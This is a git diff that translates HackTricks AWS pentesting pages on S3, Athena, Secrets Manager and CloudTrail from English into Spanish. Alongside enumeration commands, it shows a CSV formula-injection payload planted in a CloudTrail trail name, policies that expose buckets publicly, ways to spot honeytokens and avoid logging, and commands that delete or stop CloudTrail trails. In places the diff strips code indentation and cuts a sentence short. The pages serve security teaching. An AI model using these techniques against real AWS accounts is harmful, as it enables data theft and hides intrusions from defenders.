-### **Enumeration** - -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +### **Enumeración** +Una de las principales formas tradicionales de comprometer organizaciones de AWS comienza por comprometer buckets accesibles públicamente. **Puedes encontrar** [**enumeradores de buckets públicos en esta página**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,78 +211,76 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +Puedes acceder a un bucket de S3 a través de un endpoint de doble pila utilizando un nombre de endpoint de estilo hospedado virtual o de estilo de ruta. Estos son útiles para acceder a S3 a través de IPv6. -Dual-stack endpoints use the following syntax: +Los endpoints de doble pila utilizan la siguiente sintaxis: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +En la siguiente página puedes consultar cómo **abusar de los permisos de S3 para escalar privilegios**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md {{#endref}} -### Unauthenticated Access +### Acceso No Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md {{#endref}} -### S3 Post Exploitation +### S3 Post Explotación {{#ref}} ../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-s3-persistence.md {{#endref}} -## Other S3 vulns +## Otras vulnerabilidades de S3 -### S3 HTTP Cache Poisoning Issue +### Problema de Envenenamiento de Caché HTTP de S3 -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. +[**Según esta investigación**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) fue posible almacenar en caché la respuesta de un bucket arbitrario como si perteneciera a otro diferente. Esto podría haberse abusado para cambiar, por ejemplo, las respuestas de archivos javascript y comprometer páginas arbitrarias utilizando S3 para almacenar código estático. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. +Amazon Athena es un servicio de consulta interactivo que facilita **analizar datos** directamente en Amazon Simple Storage Service (Amazon **S3**) **usando** SQL **estándar**. -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. +Necesitas **preparar una tabla de base de datos relacional** con el formato del contenido que va a aparecer en los buckets de S3 monitoreados. Y luego, Amazon Athena podrá poblar la base de datos a partir de los registros, para que puedas consultarla. -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. +Amazon Athena soporta la **capacidad de consultar datos de S3 que ya están cifrados** y, si está configurado para hacerlo, **Athena también puede cifrar los resultados de la consulta que luego pueden ser almacenados en S3**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**Este cifrado de resultados es independiente de los datos de S3 consultados subyacentes**, lo que significa que incluso si los datos de S3 no están cifrados, los resultados consultados pueden estar cifrados. Un par de puntos a tener en cuenta es que Amazon Athena solo soporta datos que han sido **cifrados** con los **siguientes métodos de cifrado de S3**, **SSE-S3, SSE-KMS y CSE-KMS**. -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. - -### Enumeration +SSE-C y CSE-E no son soportados. Además de esto, es importante entender que Amazon Athena solo ejecutará consultas contra **objetos cifrados que están en la misma región que la consulta misma**. Si necesitas consultar datos de S3 que han sido cifrados usando KMS, entonces se requieren permisos específicos por parte del usuario de Athena para permitirles realizar la consulta. +### Enumeración ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## Referencias - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..33437c2a4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Manager está diseñado para **eliminar el uso de secretos codificados en las aplicaciones reemplazándolos con una llamada a la API**. Este servicio sirve como un **repositorio centralizado para todos tus secretos**, asegurando que se gestionen de manera uniforme en todas las aplicaciones. -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +El administrador simplifica el **proceso de rotación de secretos**, mejorando significativamente la postura de seguridad de datos sensibles como las credenciales de bases de datos. Además, secretos como las claves API pueden rotarse automáticamente con la integración de funciones lambda. -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +El acceso a los secretos está estrictamente controlado a través de políticas detalladas basadas en identidades IAM y políticas basadas en recursos. -For granting access to secrets to a user from a different AWS account, it's necessary to: +Para otorgar acceso a secretos a un usuario de una cuenta de AWS diferente, es necesario: -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. Autorizar al usuario para acceder al secreto. +2. Otorgar permiso al usuario para descifrar el secreto utilizando KMS. +3. Modificar la política de clave para permitir que el usuario externo la utilice. -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Manager se integra con AWS KMS para cifrar tus secretos dentro de AWS Secrets Manager.** ### **Enumeration** - ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,27 +27,22 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - ### Privesc {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Post Exploitation +### Post Explotación {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistence +### Persistencia {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..704e93771 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - Servicios de Seguridad y Detección diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..cd8d6f88a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **registra y monitorea la actividad dentro de su entorno AWS**. Captura **registros de eventos** detallados, incluyendo quién hizo qué, cuándo y desde dónde, para todas las interacciones con los recursos de AWS. Esto proporciona un rastro de auditoría de cambios y acciones, ayudando en el análisis de seguridad, auditoría de cumplimiento y seguimiento de cambios en los recursos. CloudTrail es esencial para entender el comportamiento de usuarios y recursos, mejorar las posturas de seguridad y asegurar el cumplimiento regulatorio. -Each logged event contains: +Cada evento registrado contiene: -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- El nombre de la API llamada: `eventName` +- El servicio llamado: `eventSource` +- La hora: `eventTime` +- La dirección IP: `SourceIPAddress` +- El método del agente: `userAgent`. Ejemplos: +- Signing.amazonaws.com - Desde la Consola de Administración de AWS +- console.amazonaws.com - Usuario root de la cuenta +- lambda.amazonaws.com - AWS Lambda +- Los parámetros de la solicitud: `requestParameters` +- Los elementos de la respuesta: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +Los eventos se escriben en un nuevo archivo de registro **aproximadamente cada 5 minutos en un archivo JSON**, son retenidos por CloudTrail y, finalmente, los archivos de registro son **entregados a S3 aproximadamente 15 minutos después**.\ +Los registros de CloudTrail pueden ser **agregados a través de cuentas y regiones.**\ +CloudTrail permite usar **la integridad del archivo de registro para poder verificar que sus archivos de registro no han cambiado** desde que CloudTrail se los entregó. Crea un hash SHA-256 de los registros dentro de un archivo de resumen. Un hash sha-256 de los nuevos registros se crea cada hora.\ +Al crear un Trail, los selectores de eventos le permitirán indicar el trail a registrar: eventos de gestión, datos o de información. -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +Los registros se guardan en un bucket de S3. Por defecto, se utiliza el cifrado del lado del servidor (SSE-S3), por lo que AWS descifrará el contenido para las personas que tienen acceso a él, pero para mayor seguridad puede usar SSE con KMS y sus propias claves. -The logs are stored in a **S3 bucket with this name format**: +Los registros se almacenan en un **bucket de S3 con este formato de nombre**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- Siendo el BucketName: **`aws-cloudtrail-logs--`** +- Ejemplo: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Dentro de cada carpeta, cada registro tendrá un **nombre siguiendo este formato**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +Convención de Nombres de Archivos de Registro ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +Además, **los archivos de resumen (para verificar la integridad del archivo)** estarán dentro del **mismo bucket** en: ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### Agregar Registros de Múltiples Cuentas -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- Cree un Trail en la cuenta de AWS donde desea que se entreguen los archivos de registro +- Aplique permisos al bucket de S3 de destino permitiendo el acceso entre cuentas para CloudTrail y permita a cada cuenta de AWS que necesite acceso +- Cree un nuevo Trail en las otras cuentas de AWS y seleccione usar el bucket creado en el paso 1 -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +Sin embargo, incluso si puede guardar todos los registros en el mismo bucket de S3, no puede agregar registros de CloudTrail de múltiples cuentas en un CloudWatch Logs perteneciente a una sola cuenta de AWS. > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> Recuerde que una cuenta puede tener **diferentes Trails** de CloudTrail **habilitados** almacenando los mismos (o diferentes) registros en diferentes buckets. -### Cloudtrail from all org accounts into 1 +### Cloudtrail de todas las cuentas de la organización en 1 -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +Al crear un CloudTrail, es posible indicar activar cloudtrail para todas las cuentas en la organización y obtener los registros en solo 1 bucket:
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +De esta manera, puede configurar fácilmente CloudTrail en todas las regiones de todas las cuentas y centralizar los registros en 1 cuenta (que debe proteger). -### Log Files Checking - -You can check that the logs haven't been altered by running +### Verificación de Archivos de Registro +Puede verificar que los registros no han sido alterados ejecutando ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrail puede enviar automáticamente registros a CloudWatch para que puedas establecer alertas que te adviertan cuando se realicen actividades sospechosas.**\ +Ten en cuenta que para permitir que CloudTrail envíe los registros a CloudWatch, se necesita crear un **rol** que permita esa acción. Si es posible, se recomienda usar el rol predeterminado de AWS para realizar estas acciones. Este rol permitirá a CloudTrail: -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: Esto permite crear flujos de registro de CloudWatch Logs +- PutLogEvents: Entregar registros de CloudTrail al flujo de registro de CloudWatch Logs ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +El Historial de Eventos de CloudTrail te permite inspeccionar en una tabla los registros que han sido grabados: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights** analiza automáticamente los eventos de gestión de escritura de los senderos de CloudTrail y te **alerta** sobre **actividades inusuales**. Por ejemplo, si hay un aumento en los eventos de `TerminateInstance` que difiere de las líneas base establecidas, lo verás como un evento de Insight. Estos eventos hacen que **encontrar y responder a actividades inusuales de API sea más fácil** que nunca. -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Los insights se almacenan en el mismo bucket que los registros de CloudTrail en: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)
  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| +| Integridad del Archivo de Registro de CloudTrail |
  • Validar si los registros han sido manipulados (modificados o eliminados)
  • Utiliza archivos de resumen (crea un hash para cada archivo)

    • Hashing SHA-256
    • SHA-256 con RSA para firma digital
    • clave privada propiedad de Amazon
  • Toma 1 hora crear un archivo de resumen (hecho en la hora cada hora)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Use IAM policies and S3 bucket policies

    • security team —> admin access
    • auditors —> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| Detener el acceso no autorizado |
  • Usar políticas de IAM y políticas de bucket de S3

    • equipo de seguridad —> acceso de administrador
    • auditores —> acceso solo de lectura
  • Usar SSE-S3/SSE-KMS para cifrar los registros
| +| Prevenir que los archivos de registro sean eliminados |
  • Restringir el acceso de eliminación con políticas de IAM y de bucket
  • Configurar la eliminación MFA de S3
  • Validar con la Validación de Archivos de Registro
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +AWS Access Advisor se basa en los últimos 400 días de registros de AWS **CloudTrail para recopilar sus insights**. CloudTrail captura un historial de llamadas a la API de AWS y eventos relacionados realizados en una cuenta de AWS. Access Advisor utiliza estos datos para **mostrar cuándo se accedió por última vez a los servicios**. Al analizar los registros de CloudTrail, Access Advisor puede determinar qué servicios de AWS ha accedido un usuario o rol de IAM y cuándo ocurrió ese acceso. Esto ayuda a los administradores de AWS a tomar decisiones informadas sobre **refinar permisos**, ya que pueden identificar servicios que no se han accedido durante períodos prolongados y potencialmente reducir permisos excesivamente amplios basados en patrones de uso reales. > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> Por lo tanto, Access Advisor informa sobre **los permisos innecesarios que se están otorgando a los usuarios** para que el administrador pueda eliminarlos
## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,125 +122,112 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` +### **Inyección CSV** -### **CSV Injection** - -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +Es posible realizar una inyección CVS dentro de CloudTrail que ejecutará código arbitrario si los registros se exportan ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - -For more information about CSV Injections check the page: +Para más información sobre las Inyecciones CSV, consulta la página: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) +Para más información sobre esta técnica específica, consulta [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) -## **Bypass Detection** +## **Evasión de Detección** -### HoneyTokens **bypass** +### Evasión de HoneyTokens -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Los Honeytokens se crean para **detectar la exfiltración de información sensible**. En el caso de AWS, son **claves de AWS cuyo uso se monitorea**, si algo activa una acción con esa clave, entonces alguien debe haber robado esa clave. -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +Sin embargo, los Honeytokens como los creados por [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) están utilizando un nombre de cuenta reconocible o usando el mismo ID de cuenta de AWS para todos sus clientes. Por lo tanto, si puedes obtener el nombre de la cuenta y/o el ID de la cuenta sin hacer que Cloudtrail genere ningún registro, **podrías saber si la clave es un honeytoken o no**. -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) tiene algunas reglas para detectar si una clave pertenece a [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- Si **`canarytokens.org`** aparece en el nombre del rol o el ID de cuenta **`534261010715`** aparece en el mensaje de error. +- Probándolos más recientemente, están usando la cuenta **`717712589309`** y aún tiene la cadena **`canarytokens.com`** en el nombre. +- Si **`SpaceCrab`** aparece en el nombre del rol en el mensaje de error. +- **SpaceSiren** utiliza **uuids** para generar nombres de usuario: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- Si el **nombre parece generado aleatoriamente**, hay altas probabilidades de que sea un HoneyToken. -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### Obtener el ID de cuenta del ID de clave +Puedes obtener el **ID de Cuenta** del **codificado** dentro de la **clave de acceso** como [**se explica aquí**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) y verificar el ID de cuenta con tu lista de cuentas de Honeytokens de AWS: ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` +Check more information in the [**investigación original**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +#### No generar un registro -#### Do not generate a log +La técnica más efectiva para esto es en realidad una simple. Solo usa la clave que acabas de encontrar para acceder a algún servicio dentro de tu propia cuenta de atacante. Esto hará que **CloudTrail genere un registro dentro de TU PROPIA cuenta de AWS y no dentro de las víctimas**. -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +La cuestión es que la salida te mostrará un error indicando el ID de la cuenta y el nombre de la cuenta, así que **podrás ver si es un Honeytoken**. -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +#### Servicios de AWS sin registros -#### AWS services without logs +En el pasado, había algunos **servicios de AWS que no enviaban registros a CloudTrail** (encuentra una [lista aquí](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Algunos de esos servicios **responderán** con un **error** que contiene el **ARN del rol de la clave** si alguien no autorizado (la clave honeytoken) intenta acceder a él. -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. - -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +De esta manera, un **atacante puede obtener el ARN de la clave sin activar ningún registro**. En el ARN, el atacante puede ver el **ID de la cuenta de AWS y el nombre**, es fácil conocer el ID y los nombres de las cuentas de las empresas del HoneyToken, así que de esta manera un atacante puede identificar si el token es un HoneyToken. ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> Ten en cuenta que todas las API públicas descubiertas que no estaban creando registros de CloudTrail ahora están arregladas, así que tal vez necesites encontrar las tuyas... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Para más información, consulta la [**investigación original**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). -### Accessing Third Infrastructure +### Accediendo a Infraestructura de Terceros -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication. +Ciertos servicios de AWS **generarán alguna infraestructura** como **Bases de Datos** o **clústeres de Kubernetes** (EKS). Un usuario **hablando directamente con esos servicios** (como la API de Kubernetes) **no utilizará la API de AWS**, por lo que CloudTrail no podrá ver esta comunicación. -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +Por lo tanto, un usuario con acceso a EKS que ha descubierto la URL de la API de EKS podría generar un token localmente y **hablar con el servicio de API directamente sin ser detectado por Cloudtrail**. -More info in: +Más información en: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### Modificando la Configuración de CloudTrail +#### Eliminar senderos ```bash aws cloudtrail delete-trail --name [trail-name] ``` - -#### Stop trails - +#### Detener rastros ```bash aws cloudtrail stop-logging --name 